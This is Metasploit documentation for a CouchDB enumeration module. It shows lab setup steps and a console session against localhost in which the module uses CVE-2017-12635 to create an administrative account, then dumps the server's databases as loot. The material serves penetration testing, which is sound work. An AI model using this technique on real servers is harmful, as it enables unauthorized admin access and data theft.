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metasploit-framework/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md

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Vulnerable Application

Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.

The following was done on Ubuntu 16.04, and is largely base on 1and1.com:

  1. sudo apt install software-properties-common
  2. sudo add-apt-repository ppa:couchdb/stable
  3. sudo apt update
  4. sudo apt install couchdb
  5. Reconfigure couchdb to listen to all interfaces. Edit /etc/couchdb/local.ini. Under [httpd] add the following line: bind_address = 0.0.0.0
  6. Restart the service: sudo service couchdb restart

Verification Steps

  1. Install and configure couchdb
  2. Start msfconsole
  3. Do: auxiliary/scanner/couchdb/couchdb_enum
  4. Do: run

Options

SERVERINFO

If set to true, the server info will also enumerated and set in msf's DB. Defaults to false.

CREATEUSER

If set to true, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to false.

Scenarios

Dumping databases with SERVERINFO and CREATEUSER set:

msf5 > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > options

Module options (auxiliary/scanner/couchdb/couchdb_enum):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CREATEUSER    false            yes       Create Administrative user
   HttpPassword  IJvoGDWAWzQo     yes       CouchDB Password
   HttpUsername  CQuXQnVwQAow     yes       CouchDB Username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target address range or CIDR identifier
   ROLES         _admin           yes       CouchDB Roles
   RPORT         5984             yes       The target port (TCP)
   SERVERINFO    false            yes       Print server info
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /_all_dbs        yes       Path to list all the databases
   VHOST                          no        HTTP server virtual host

msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true
serverinfo => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true
createuser => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > check

[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
[*] 127.0.0.1:5984 - The target appears to be vulnerable.
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run

[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login.
[+] 127.0.0.1:5984 - {
  "couchdb": "Welcome",
  "version": "2.1.0",
  "features": [
    "scheduler"
  ],
  "vendor": {
    "name": "The Apache Software Foundation"
  }
}
[*] 127.0.0.1:5984 - Enumerating Databases...
[+] 127.0.0.1:5984 - Databases:

[
  "_global_changes",
  "_replicator",
  "_users"
]

[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin
[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin
[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin
[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/couchdb/couchdb_enum) >